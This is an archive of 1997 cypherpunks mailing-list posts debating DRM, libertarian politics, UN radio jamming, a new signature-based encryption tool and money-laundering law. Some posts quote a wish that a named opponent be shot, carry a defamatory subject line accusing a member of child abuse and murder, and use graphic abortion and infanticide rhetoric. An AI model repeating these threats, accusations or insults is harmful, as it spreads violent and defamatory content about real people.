Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Fri, 5 Dec 1997 07:13:36 +0800
To: "Brian W. Buchanan" <cypherpunks@cyberpass.net
Subject: Re: Superdistribution development/release
In-Reply-To: <v03007800b0abc492abcc@[168.161.105.216]>
Message-ID: <3.0.3.32.19971204140118.007527dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:03 PM 12/03/1997 -0800, Brian W. Buchanan wrote:
>Should be relatively trivial to break the encryption, since it can't be
>over 40-bit (or 56-bit if the company joined the kiss-ass alliance).

Ahem.  Notice the dateline on the article.  Calgary.
Not a problem, eh?  Plenty of Canadian content in that one,
so they could even show it on TV if they wanted to.

>Probably just as easy or easier to disassemble the software or do some
>creative tweaking of Windows DLLs to intercept data.  

Sounds likely - they're not only planning to run it on machines
without vaguely secure hardware, they're planning to run it
on machines without operating systems - they'll probably use Win95.
With NT, you'd at least need to look for bugs or design flaws
or other ways to lie to the operating system, since there _is_ one :-)
95 may not be as fragile as Win3.1, but it's still no protection.

On the other hand, if they can inhibit mass piracy, they're
ahead of the game, probably far enough to rack up some sales.

And even if their solution is a total technical crock,
it's a crock a bunch of people are trying to develop,
and it can be used as an argument to lawmakers that they don't
need to introduce draconian new legislation to "solve" the
copyright problems because we're doing it technically -
though of course lawmakers have figured out that this gives them
the choice between being visibly obsolete or writing
clueless legislation to regulate the new technology as well as the old....

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "J. Lasser" <jon@lasser.org>
Date: Fri, 5 Dec 1997 04:16:45 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203175851.581C-100000@is-chief>
Message-ID: <19971204150228.29343@gwyn.tux.org>
MIME-Version: 1.0
Content-Type: text/plain



In the wise words of William H. Geiger III:

> As I stated in my previous post the Nolan chart is flawed. In it's
> attempts to be "two-dimensional" it artificially separates interdependent
> philosophies. Economic Freedom = Personal Freedom. You can not have one
> without the other. The major failings of the socialist is their
> unwillingness to accept this fact. A free society can not survive under a
> socialist regime any more that a totalitarian society can survive under a
> capitalist one.

I think the Nolan chart is flawed because the questions are all worded
in a leading manner, personally.

And Singapore survives quite well being a totalitarian capitalist
society. Sure, you can pick nits and claim that Singapore's not entirely
capitalist, but it's more capitalist than this country and certainly
less free, too.

The fact of the matter seems to me to be that most people are perfectly
satisfied to be passive consumers. While they like to be free, that
means free to make purchasing decisions. They also like to be safe, and
if they have to lose civil liberties to be safe, then they're all for
it. Just so long as they can buy what they want. That seems to me to
describe the essence of the Singapore problem, and I'd bet it holds true
for the U.S. (and many other places) as well.

And, regardless of whether the two are actually separate, the Nolan
chart is intended to measure peoples' _beliefs_ and _feelings_ about
economic and political freedom. And those, as this discussion proves,
are clearly separate.

Jon
-- 
Jon Lasser (410)383-7962                             jon@lasser.org
http://www.tux.org/~lasser/                     PGP=2047/0x4CDD6451
      "Flap your ears, Dumbo!  The feather was only a trick!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@rigel.cyberpass.net>
Date: Fri, 5 Dec 1997 07:38:49 +0800
To: cypherpunks@rigel.cyberpass.net
Subject: Scientology war update
Message-ID: <199712042328.PAA06816@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



An excellent, amazing movie called Schizopolis pokes fun at Scientology
in ways L-RON never dreamed. It's perfect. Try to find it and watch.

Mark Hedges


JonWienk@ix.netcom.com wrote on Sat, 22 Nov 1997 08:12:14 -0800:
>At 12:50 AM 11/22/97 -0600, Eric Cordian wrote:
>>There was a hilarious parody of Scientology on tonight's episode
>>of "Millenium."  A Cult named "Selfosophy," created by a really bad
>>writer named Onan Goopta, with a propensity to sue everyone, was
>>featured.  It had a large celebrity membership, and helped people
>>overcome negative thoughts with a device called an "Onan-o-Graph."
> 
>Onan is commonly (albeit incorrectly) credited with the invention of
>masturbation.  (See Genesis 38:6-10 in the Bible)  I wonder what sort of
>thoughts the Onan-o-graph induces? [snicker, snicker]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 5 Dec 1997 05:54:04 +0800
To: David Honig <honig@otc.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3.0.5.32.19971204105615.00853870@206.40.207.40>
Message-ID: <199712042134.QAA01917@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.5.32.19971204105615.00853870@206.40.207.40>, on 12/04/97 
   at 01:56 PM, David Honig <honig@otc.net> said:

>At 07:53 AM 12/4/97 -0600, William H. Geiger III wrote:
>>Who knows maybe the pro-choice crowd *does* approve of a doctor taking a
>>big pair of pliers, crushing the skull then ripping the arms and legs off
>>a 6mo old then pulling out the shop vac to clean up the mess?

>Yes, if that's what the pros think is the appropriate method when a
>person decides to off their fetus.  

>The sun supplies 1 Kwtt/m^2, peak.  How many people can you feed on that
>before
>you get a war/famine/plague?   Perhaps you prefer adult war to
>infanticide. A matter of taste.  

>Cultures that really have to deal with this, unlike your own (for now),
>generally choose infanticide.    

Only because the infants don't fight back.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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YUoxhDkjC3a8glWNHYicNkxkwF9HDmio9bPSt8NJ6BCxYP4IUadh+eqmZ9z1tKh5
a/qA1XEUBBvcKUGtsxLoZ6ngPNAv3GqYGJ9WjNYNnl0ZUX7YERCon6QiX8xU7L7A
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=nwsh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 5 Dec 1997 05:41:52 +0800
To: cypherpunks@toad.com
Subject: Re: Bill Stewart kills babies after he molests them. Honest! /
In-Reply-To: <3.0.5.32.19971203091239.007e4410@206.40.207.40>
Message-ID: <3.0.3.32.19971204161846.0391b08c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:07 PM 12/4/97 EST, Dr.Dimitri Vulis KOTM wrote:
>I might have a good cause of action against Chris Lewis, but the asshole is
>in Canada. (I found out the forger's home address. I hope someone blows his
>fucking brains out, for he surely deserves to die.) In what court would I
>sue him (for interfering with my contractual relations with PSI)?

Just so you can quit whining...

This topic was recently covered in a Spam seminar that was sponsored by
EFGA.  Based on the case of Jones vs. National Inquirer, you claim to have
an action perpetrated against an individual (you) in your home state.  You
file in either federal or state court of your state.  If, as in the recent
Texas case brought by Flowers.com and TISPA against a spammer, the
defendant does not show, there is a high likelihood that you will be
awarded damages.  There is a company in North Carolina that will collect
the judgement out of Canada for you.

In most matters where I have been involved with Chris Lewis, I have tended
to side with Chris.  Your question was such a simplistic one, that I though
it deserved an answer.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stewart_William_C@bns.att.com
Date: Fri, 5 Dec 1997 08:50:07 +0800
To: cypherpunks@toad.com
Subject: Radio-Free Europe
Message-ID: <H000029c016de63e@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Fortunately, the net is harder to jam than radio.
Esther Dyson's new book has a good line about how the Net is a
breeding-ground
for conspiracies, but television is better-suited for propaganda.

=======================================================================
Copyright 1997 Times Mirror Company
Los Angeles Times
December  3, 1997, Wednesday, Home Edition
Part A; Page 5; National Desk

INTERNATIONAL OUTLOOK;
NATIONAL PERSPECTIVE;
U.N. Hate-Radio Jamming Would Send Wrong Signal

JIM MANN

WASHINGTON -- In foreign policy, sometimes the noblest of intentions
leads
to lousy ideas.

   That's certainly the case with the recent curious proposal for a
special United Nations "jam squad"--a special U.N. team that could be
hurriedly dispatched to crisis points around the world carrying
equipment
to jam, or block, harmful radio and TV broadcasts.

   Writing in the current issue of "Foreign Affairs" magazine, Jamie M.
Metzl, a former United Nations human rights officer, proposes the
creation
of what would officially be called an "independent information
intervention unit" at the U.N.

   Its goal, he writes, would be "countering dangerous messages that
incite people to violence." A U.N. unit could monitor local news media
to
see where crises might erupt, air its own messages of peace and, where
necessary, prevent other radio or TV broadcasts from being heard.

   The idea for the U.N. jam squad originated in the genocidal horrors
of
Rwanda. In 1994, the country's main radio station, the Radio-Television
Libre des Milles Collines, then controlled by Hutu extremists, began
broadcasting hate messages targeting members of the rival tribe, the
Tutsis, and moderate Hutus.

   The Rwanda station even broadcast lists of enemies to be hunted down.
"Take your spears, clubs, guns, swords, stones, everything, sharpen
them,
jack them, those enemies, those cockroaches," the station urged
listeners.
The result was one of the world's worst blood baths, in which more than
500,000 unarmed Tutsis and moderate Hutus were slaughtered.

   This was, certainly, as compelling a case for jamming as you can get.
And Metzl has one cogent argument on behalf of his proposal: When
there's
an ethnic conflict in a place like Rwanda, sending in a United Nations
jamming team would be considerably easier and less costly than sending
in
troops.

   "I think it's a worthy idea," says Rep. Edward R. Royce
(R-Fullerton),
chairman of the House International Relations subcommittee on Africa.
"I'm
sure we would try to go out and jam in Rwanda if those circumstances
came
up again."

   Indeed, the United States and its allies are conducting a somewhat
similar operation in Bosnia.  Two months ago, NATO troops seized and
effectively shut down a station run by hard-line Bosnian Serb forces
after
the station broadcast inflammatory attacks on NATO forces trying to keep
the peace there.

   But it's a long step to go from these situations to the creation of a
permanent, formal unit run by the United Nations and scouring the world
in

search of radio broadcasts to jam.

   Who would determine exactly what kinds of radio programs should be
blocked and which programs could be aired? What would ensure that the
jamming decisions were not motivated by politics? Wouldn't the creation
of
such a United Nations operation strengthen the hand of governments that
want to jam radio transmissions for much less noble reasons?

   "This opens up a Pandora's box, really," says Richard Richter, the
director of Radio Free Asia, the federally funded station that
broadcasts
into Asian countries with repressive governments. "You'd have China
claiming that we American broadcasts should be jammed by the United
Nations."

   Ultimately, a U.N. jamming squad would give official sanction to
restrictions on the free flow of information. Metzl's article has a
response to this problem, but it's a weak one.

   "During the Cold War, when the United States faced a Soviet adversary
intent on jamming the Voice of America and Radio Free Europe . . . , it
made sense for the United States to promote an absolute standard for the
free flow of information," he wrote. "Now, a more nuanced view should be
possible."

   But that's precisely backward: The free flow of information wasn't
merely a temporary means to winning the Cold War, but one of the goals
of
the endeavor.

   Although the problem of hate-filled radio broadcasts is a serious
one,
there are ways of dealing with it that don't involve creating some huge,
supranational censorship unit.

   One alternative is simply to provide other, competing radio
broadcasts.
In Rwanda, for example, the United Nations set up its own radio
stations,
both in the capital of Kigali and in radio camps.

   Royce's subcommittee has been exploring the possibility of creating a
Radio Free Africa, similar to Radio Free Europe, Radio Free Asia and
Radio
Marti, which broadcasts to Cuba.

   There are serious questions about whether such a new organization is
necessary, when VOA, the official U.S. government station, already
broadcasts intensively into Africa. But the underlying idea makes sense:
to transmit better, more accurate information to Africa, rather than
focusing on jamming or censorship.

   There are other ways of combating hate radio too. Those who directly
incite violence over the airwaves can be brought to justice. At the
moment, a war-crimes tribunal, set up under U.N. auspices, is
prosecuting
those responsible for the massacres in Rwanda. Among the suspects in
custody are some of those responsible for the Milles Collines radio
broadcasts.

   But a worldwide, U.N.-run jamming team? As a Hollywood script, maybe
the idea has possibilities. As foreign policy, it's a loser.

   Jim Mann's column appears in this space every Wednesday.

PHOTO: U.S. member of NATO peace force guards television transmitter in
Udrigovo, Bosnia.  PHOTOGRAPHER: Associated Press --

========================================================================
=





**************************************************
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
- Ben Franklin, ~1784
**************************************************
 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Dec 1997 05:48:09 +0800
To: nobody@replay.com (Anonymous)
Subject: Re: Christmas Ornaments
In-Reply-To: <199712042039.VAA10062@basement.replay.com>
Message-ID: <v03007800b0acd34080a5@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



I should have ordered them last month with everyone else in the bureau; the
order's been placed and the ornaments have been delivered already. *sigh*

I might go up to the 10th floor myself and see if they have any left...

-Declan


At 21:39 +0100 12/4/97, Anonymous wrote:
>Declan McCullagh wrote:
>>BTW, I'm going to check on the Secret Service Christmas tree
>>ornaments and how much they cost. I'll post later on today if our
>>office manager tells me they're still available. (The U.S.S.S. is on
>>the top floor of my building and they give us a deal.)
>
>-----BEGIN CHEAP SHOT-----
>
>Hey, Declan, do they have any yellow stars?  I understand we'll all be
>wearing them soon and I want to beat the rush.
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@rigel.cyberpass.net>
Date: Fri, 5 Dec 1997 08:58:42 +0800
To: cypherpunks@rigel.cyberpass.net
Subject: Heidegger on Cypherpunks -- give me a break
Message-ID: <199712050043.QAA11517@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



In previous thread "FCPUNX:Tim plans to kill a federal judge",
Neva Remailer wrote:
>
>James Donald wrote:
>>At 06:10 PM 11/14/97 -0700, Tim May wrote:
>>> By the way, the same can be said about the work of Heidegger, a thinker who
>>> has had some influence on me. Whenever I cite anything Heidegger ever said,
>>> I can count on some numbskull to parrot the "Heidegger was a Nazi" shtick.
>>
>>Probably because Heidegger *was* a Nazi, who pranced around in full drag 
>>Nazi uniform and sent certain of his colleagues to the concentration camps.
>>
>>To very crudely oversimplify the relationship between Heideggers 
>>philosophy and Nazism, it goes like this.
>>
>>No objective, only the intersubjective, therefore the community
>>defines reality, therefore truth is merely relative to the community.


Introduction to Metaphysics and Sein und Zeit do concern the relationship
between what is real (what exists) and subjective, perceptual reality,
but Heidegger makes clear that although what we know is only perception,
perception is not the essent of what is real and exists. Actions must 
rely on perception of reality, but he lends not absolute validity to the
perceptions.

Heidegger was on the right track, though quantum and cosmological physics
and cognitive sciences reach beyond his philosophical circles of contra-
diction and paradox inside a flawed and entirely limited language into an
expanding and increasingly accurate scientific and mathematical system of
discourse. His basic mistake was to admit that verbal and written language
contains contradictions and then to draw what he supposed were valid
conclusions -- from false premesis and a false universe of discourse.

>(Although, if one were interested in Heideggar, his biography would
>probably be interesting, too.)

Yup.

Mark Hedges
Anonymizer, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Fri, 5 Dec 1997 09:12:33 +0800
To: cryptography@c2.net
Subject: Please Beta test my communications cryptography product.
Message-ID: <199712050100.RAA04735@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



    --
I have produced a program that, like PGP, provides digital
signatures and communications encryption.

http://www.jim.com/jamesd/Kong/Kong.htm

This is the first beta.  Please beta test this product.

The important difference between it and other products
that provide digital signatures and encryption is that it
is not certificate based.  Instead it is signature based.

This eliminates the steep initial learning and management curves 
of existing products.  The user does not need use and manage 
specialized certificates except for specialized purposes

The big complexity and user hostility in existing products is
creating and managing certificates.

Perhaps more importantly, it also eliminates the threat we
saw in England, the threat of the government giving itself
a monopoly in certificate distribution, potentially creating the 
Number-Of-The-Beast system, where you need a government
certificate to log on to dirty picture sites, to buy, to
sell, to put up web pages.

The key feature of the proposed product is that any digitally 
signed document can be stored in the database, and itself 
performs the functions of a certificate, just as a normal handwritten 
signature does.  The user usually does not need to check a 
document against a certificate to see if it was signed by the "real" 
John Doe.  Instead he normally checks one document against 
another to see if they were both signed by the same John Doe.   
And similarly when he encrypts a document, he does not need to 
use a certificate to encrypt a message to the one real John Doe, 
he merely encrypts a message to the same John Doe who signed 
the letter he is replying to.

At present people have to deal with certificate management 
problems regardless of whether they really need certificates.
For example the most common usage of PGP is to check that two 
signatures that purport to be by the same person are in fact 
by the same person.   Unfortunately you cannot check one 
signature against another directly using PGP or any of the 
other existing products.  Instead you have to check both 
signatures against a public key certificate, even if the 
authentication information in that certificate is irrelevant 
to your purpose, which it usually is, which means that you 
have to download the certificate from somewhere, and the 
person signing it had to upload it somewhere.  As PGP always 
checks a document against the certificate, rather than against 
any other document the user happens to feel is relevant to the 
question, the person signing the document needs to get his 
certificate properly signed by some widely trusted third party, 
which is too much trouble or too complicated for many people.

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     z8/j/L3kF7oCmOp/iF2oh/pwgP/mATjOTUdv1uGy
     DlPh9Op11Z1CtFuByebVsk8yJo4WuUMuFk4S/TMp
 ---------------------------------------------------------------------
We have the right to defend ourselves and our property, because of 
the kind of animals that we are. True law derives from this right, 
not from the arbitrary power of the state.

http://www.jim.com/jamesd/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 5 Dec 1997 07:14:10 +0800
To: cypherpunks@www.video-collage.com
Subject: Fidelity Fires Nine Employees For Violating Company Policy
Message-ID: <199712042308.RAA02118@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Fidelity Fires Nine Employees
                         For Violating Company Policy

                         By JAMES S. HIRSCH Staff Reporter of THE WALL
                         STREET JOURNAL

                         Fidelity Investments has fired nine employees
                         and disciplined 16 others for violating various
                         company policies, including participating
                         in on-site betting pools for football and
                         basketball games.

                         Fidelity, the nation's largest mutual-fund firm,
                         said the employees also misused company e-mail
                         and spent "excessive" amounts of time using
                         the Internet for nonwork activities.

                         The discoveries by Fidelity sent alarms
                         through the Boston company, which has about
                         $600 billion in assets under management and
                         has relied on a reputation for integrity to
                         attract and retain customers. On Tuesday, David
                         Weinstein, Fidelity's senior vice president
                         of administration, sent electronic memos to
                         all employees that said the company wouldn't
                         condone the use of company e-mail for sports
                         pools, and reiterated many company policies,
                         including prohibition of employees from gambling
                         on company time.

                         "I trust a word to the wise is sufficient,"
                         Mr. Weinstein wrote.

                         Fidelity spokeswoman Anne Crowley said the
                         company took action three weeks ago, and the
                         employees who were either fired or disciplined
                         didn't include any mutual-fund managers. She
                         declined to identify the employee positions
                         or their business units, but said the affected
                         employees worked in more than one city.

                         She said that no customer accounts or funds
                         were involved. Fidelity has 24,300 employees.

                         Like many companies, Fidelity regularly
                         monitors employees' use of e-mail
                         and Internet and Intranet services, and
                         Fidelity notifies employees that they will be
                         monitored. Ms. Crowley declined to describe
                         how Fidelity learned about the sports betting
                         pools or to specify how much money was involved.
                         Employees also bet on baseball and golf games,
                         she said, and the betting pools occurred over
                         a number of months. "Small bets were typically
                         found," Ms.  Crowley said.

                         She also declined to comment on what nonwork
                         activities the employees were engaged in.

                         But several insiders said the infractions had
                         to have been very serious to merit dismissals
                         instead of warnings. Ms. Crowley said the 16
                         employees who were disciplined didn't have to
                         pay any fines, but said "corrective actions"
                         could involve verbal or written warnings,
                         suspensions or probations.

                         --Karen Hube contributed to this article.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 5 Dec 1997 08:46:37 +0800
To: "J. Lasser" <jon@lasser.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <19971204150228.29343@gwyn.tux.org>
Message-ID: <Pine.LNX.3.95.971204135130.369D-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 4 Dec 1997, J. Lasser wrote:

> In the wise words of William H. Geiger III:
> 
> > As I stated in my previous post the Nolan chart is flawed. In it's
> > attempts to be "two-dimensional" it artificially separates interdependent
> > philosophies. Economic Freedom = Personal Freedom. You can not have one
> > without the other. The major failings of the socialist is their
> > unwillingness to accept this fact. A free society can not survive under a
> > socialist regime any more that a totalitarian society can survive under a
> > capitalist one.
> 
> I think the Nolan chart is flawed because the questions are all worded
> in a leading manner, personally.
> 

ok..whatever.  the argument was not that the nolan chart is the
ultimate basis for political discourse, but that its at least a
magnitude of order better than the one dimensional left-right
number line.

there is also a certain nice symmetry to it.  Left, right, authoritarian,
libertarian are mapped out quite nicely in that space..  the point is
that it *has* space.

if you dont like the nolan chart create your own multidimensional
chart.  anything is better than what the media uses now.

> And Singapore survives quite well being a totalitarian capitalist
> society. Sure, you can pick nits and claim that Singapore's not entirely
> capitalist, but it's more capitalist than this country and certainly
> less free, too.
> 

hmmm..  no one says that singapore doesn't work anyomore than
that they say that a team of horses under a whip doesn't work.
the difference is that in singapore the policeman is inside.

> The fact of the matter seems to me to be that most people are perfectly
> satisfied to be passive consumers. While they like to be free, that
> means free to make purchasing decisions.

<pedagogy>

there is a fundamental flaw your case.  economic freedom is really the
same as social freedom.  the major flaw in the nolan chart is that it can
only ask questions based on political sensibilities as a function of the
predominant (and flawed IMHO) paradigms of fascism and socialism.  but
then the function of the nolan chart is to find out where people are in
those paradigms and why they might want to be somewhere else
(libertarianism specifically).

In either case, the act of buying and selling things is the ultimate
expression of free association/assembly.  I voluntarily associate
with the guy who makes my pizza, builds my car, mows my law etc.
The control of that freedom is probably a direct violation of the
first amendment, but I have yet to write an actual proof of my
case yet.

It sure beats the hell out of barter.
It sure beats the hell out of theft to attain property.
Not that this doesn't go on.

Everything else flows from this.

I might mention, since this is the cypherpunk list, that crypto
is *exactly* what big brother is afraid of because we might realize
what *kind* of slaves we are and what kind of masters they are.
Incidentally it might actually free us from this prison some
day.  The first step to escaping from your jail cell is understanding
that you live in a jail cell and what kind of cell that is.  Most
new citizens units have a room reserved from birth.
(slave: birth to grave)

Freedom to make purchasing decisions is *the* major component of freedom
in any advanced society.   It is the medium by which we interact
with society at large.  Red Hat software doesn't know who the hell
I am and they probably can't afford to care that much.  What they
do know is that if they configure a really decent version of Linux
that I will give them $50.  It allows me to do my thing and it puts
food on their table.

Economic freedom is what makes it possible for society to evolve into
to something better.  Lack of it eventually dooms the inhabitants
to decide whether to become a hammer or an anvil -- a host or
a parasite.

If you don't think that the population is prevented from making
purchasing decisions then you better get the sleep out of your
eyes and take a good, hard look. 

</pedagogy>

 They also like to be safe, and
> if they have to lose civil liberties to be safe, then they're all for
> it. Just so long as they can buy what they want.

and thats a big "if".  you forget the one of the major assets
of any citizens life is the number of hours until their death.

it seems to be the opinion of the nation state that those hours
are at the disposal of the state.  when you "work" you are exchanging
the most valuable asset you own for ledger sheet credits.

how much does an hour of your life cost?  what do you sell it for?  how
much does it cost to buy it back?  those are the purchasing decisions that
determine true freedom.  big brother steals hours of your life
and no amount of "voting" will stop it.  


 That seems to me to
> describe the essence of the Singapore problem, and I'd bet it holds true
> for the U.S. (and many other places) as well.

so your saying that people don't mind being happy slaves.  i'm
not sure I would disagree.  sometimes its time for even the
kitchen slaves to leave the plantation.

> 
> And, regardless of whether the two are actually separate, the Nolan
> chart is intended to measure peoples' _beliefs_ and _feelings_ about
> economic and political freedom. And those, as this discussion proves,
> are clearly separate.
> 

not sure that was a QED.

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 5 Dec 1997 10:09:21 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <19971204150228.29343@gwyn.tux.org>
Message-ID: <19971204174655.45349@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Dec 04, 1997 at 05:22:23PM -0700, Jim Burnes wrote:
[...]
> > And Singapore survives quite well being a totalitarian capitalist
> > society. Sure, you can pick nits and claim that Singapore's not entirely
> > capitalist, but it's more capitalist than this country and certainly
> > less free, too.
> > 
> 
> hmmm..  no one says that singapore doesn't work anyomore than
> that they say that a team of horses under a whip doesn't work.
> the difference is that in singapore the policeman is inside.

Nope.  I have several friends who are from Singapore, and that is 
simply not the way they see it.  They like their country, and they 
are proud of it.  They know it isn't perfect, but they think it is 
pretty damn good.  From their perspective your statement simply 
reflects the narrowness of your point of view.

[...]

> there is a fundamental flaw your case.  economic freedom is really the
> same as social freedom.

This also represents a terribly narrow view of the world.  Freedom is 
psychological state as much as it is a social or an economic one.

> In either case, the act of buying and selling things is the ultimate
> expression of free association/assembly.

Nonsense.  The ultimate expression of freedom is skinny dipping in a 
mountain lake.

> I might mention, since this is the cypherpunk list, that crypto
> is *exactly* what big brother is afraid of because we might realize
> what *kind* of slaves we are and what kind of masters they are.
> Incidentally it might actually free us from this prison some
> day.  The first step to escaping from your jail cell is understanding
> that you live in a jail cell and what kind of cell that is.  Most
> new citizens units have a room reserved from birth.
> (slave: birth to grave)
> 
> Freedom to make purchasing decisions is *the* major component of freedom
> in any advanced society.   It is the medium by which we interact
> with society at large.  Red Hat software doesn't know who the hell
> I am and they probably can't afford to care that much.  What they
> do know is that if they configure a really decent version of Linux
> that I will give them $50.  It allows me to do my thing and it puts
> food on their table.
> 
> Economic freedom is what makes it possible for society to evolve into
> to something better.  Lack of it eventually dooms the inhabitants
> to decide whether to become a hammer or an anvil -- a host or
> a parasite.
> 
> If you don't think that the population is prevented from making
> purchasing decisions then you better get the sleep out of your
> eyes and take a good, hard look. 
> 
> </pedagogy>

Actually, it's dogma, not pedagogy.  The notion of "freedom" to a
libertarian is like the notion of "faith" to a Christian -- a
self-reinforcing mental trap, a span of circular thinking that is just
a little too large for them to notice and say "Haven't I been here
before?" Like moths they flit around the bright emotional icons that
blind them, define their world, and trap their thoughts in endless
repetition. 

For all the brave words about reason and logic, and all the endless
discussion about it, libertarians don't ever actually sit down and
think "what does the word 'freedom' mean, anyway?".  Instead, their
thinking goes down to a point where they can repeat some mantra like
"Freedom to make purchasing decisions is *the* major component of
freedom in any advanced society", and they never realize the exact
circularity involved.  It might as well be "Freedom to worship the
Lord is *the* major component of freedom in any advanced society." Or
"Being a slave to purchasing decisions is *the* major component of
slavery in any advanced society."

Thinking in platitudes is not thinking.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 5 Dec 1997 07:37:36 +0800
To: "Declan McCullagh" <tcmay@got.net>
Subject: Re: Censorial leftists (Was: Interesting article)
Message-ID: <01bd010b$9ad28d80$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain



>And her partner, Andrea Dworkin, belies the oft-quoted notion that someone
>so far to the left comes out a libertarian rightist. No, this chick Dworkin
>is so far left she's just plain _left_.

So being right wing means being libertarian?

I don't think so, the most right wing person I know is one
M. Thatcher D Litt (failed). She is also one of the most
authoritarian. I've always wondered whether she thought
'the road to serfdom' was a guide to managment of serfs.

All the young libertarian types running round Smith square
in sharp suits looking like Declan got purged one night.

Dworkin and MacKinnon were dredged up by the right
to front an authoritarian agenda being pushed by Bush
in the guise of the Meese commission. MacKinnon would
never debate feminists like Nadine Strossen because
this gave the lie to her claim that she represented the whole
of the feminist movement which in turn supported her.

If we turn to an analysis of agenda denial we can see that
MacKinnon was persuing such an agenda within the
feminist community, refusing to engage in debate. The
right was meanwhile using her as a tool to promote their
own agenda of social control allowing them to present it
in the context of 'protecting women' which was a recognized
agenda rather than 'reactionary bigottry' which wasn't.


            Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 5 Dec 1997 11:20:57 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <Pine.GSO.3.95.971204094148.7153H-100000@well.com>
Message-ID: <v03102805b0ad18216de6@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Friday Noon. MONEY LAUNDERING - The Cato Institute holds a policy forum,
>"Should Money Laundering Be a Crime," with Lawrence Lindsey, AEI and
>former governor, Federal Reserve; Stephen Kroll, Treasury Department, and
>Richard Rahn, president, Novecon Corp.
>	Location: Cato Institute, F.A. Hayek Auditorium, 1000
>Massachusetts Ave. NW.
>	Contact: RSVP, James Markels, 202-789-5256.

I wish I had found out about this earlier.  Are you planning to attend?  

This topic, of course, is near the top of many libertarian e-commerce agendas.  Almost every mainstream news article and regulatory report repeats the littany that Money Laundering, that is the movement of money to disguise it origin (even if there are no predicate offenses) must remain illegal because it damages or is a threat to the world banking and financial system (not just the tax take of governments), but I have yet to see any explanation of how and why.  Anyone care to comment?

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: schear@lvdi.net
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | economic and crypto dissident
---------------------------------------------------------------------

	The push by western governments for financial transparency and 
	banning unrestricted use of cryptography is blatent politicial 
	tyranny.

	Free Cypherpunk Political Prisoner Jim Bell






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
